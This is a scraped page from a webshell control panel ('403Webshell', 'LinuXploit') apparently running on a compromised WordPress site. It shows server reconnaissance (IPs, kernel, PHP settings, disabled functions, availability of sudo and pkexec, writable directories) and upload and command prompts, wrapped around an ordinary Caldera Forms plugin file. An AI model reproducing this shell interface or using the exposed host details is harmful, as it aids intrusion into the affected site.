403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.106.124
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/sync/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/sync/summary.php
<?php

/**
 * Magic tag sync implementation for summary fields
 *
 * @package Caldera_Forms
 * @author    Josh Pollock <[email protected]>
 * @license   GPL-2.0+
 * @link
 * @copyright 2016 CalderaWP LLC
 */
class Caldera_Forms_Sync_Summary extends Caldera_Forms_Sync_HTML {


	/**
	 * @inheritdoc
	 */
	protected function initial_set_default() {
		$this->default = $this->create_summary();
	}

	/**
	 * Create summary content
	 *
	 * @since 1.5.0
	 *
	 * @return string
	 */
	protected function create_summary(){

		/**
		 * Element type to wrap Caldera Forms summary fields in
		 *
		 * @since 1.5.0
		 *
		 * @param string $type Element type ONLY. For example 'div' not '<div>'.
		 * @param array $field Field config
		 * @param array $form Form config
		 */
		$summary_wrap = apply_filters( 'caldera_forms_summary_field_list_wrap', 'ul', $this->field, $this->form );

		/**
		 * Sprintf pattern for summary field items
		 *
		 * MUST have 2 %s
		 *
		 * @since 1.5.0
		 *
		 * @param string $summary_pattern The sprintf pattern for each item. With 2 %s -- no more, no less or errors will happen
		 * @param array $field Field config
		 * @param array $form Form config
		 */
		$summary_pattern = apply_filters( 'caldera_forms_summary_field_pattern', '<li><span class="caldera-forms-summary-label">%s</span> <span class="caldera-forms-summary-value">%s</span></li>', $this->field, $this->form );

		$summary = '<' . $summary_wrap .' >';
		foreach ( Caldera_Forms_Forms::get_fields( $this->form, true ) as $_field ){
			if( $_field[ 'ID' ] == $this->field[ 'ID' ] || true === $this->dont_sync( Caldera_Forms_Field_Util::get_type( $_field, $this->form ) ) )  {
				continue;
			}

			$magic_tag = '%' . $_field[ 'slug' ] . '%';
			$summary .= sprintf( $summary_pattern, esc_html( $_field[ 'label' ] ), $magic_tag );
		}

		$summary .= '</' . $summary_wrap . '>';
		return $summary;
	}

	/**
	 * Check if type of field is a type NOT to sync to
	 *
	 * @since 1.5.0
	 *
	 * @param string $type Field type
	 *
	 * @return bool True if syncing is disallowed
	 */
	protected function dont_sync( $type ){
		if( in_array( $type, array(
			'button',
			'summary',
			'html',
			'section_break'
		))){
			return true;
		}

		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit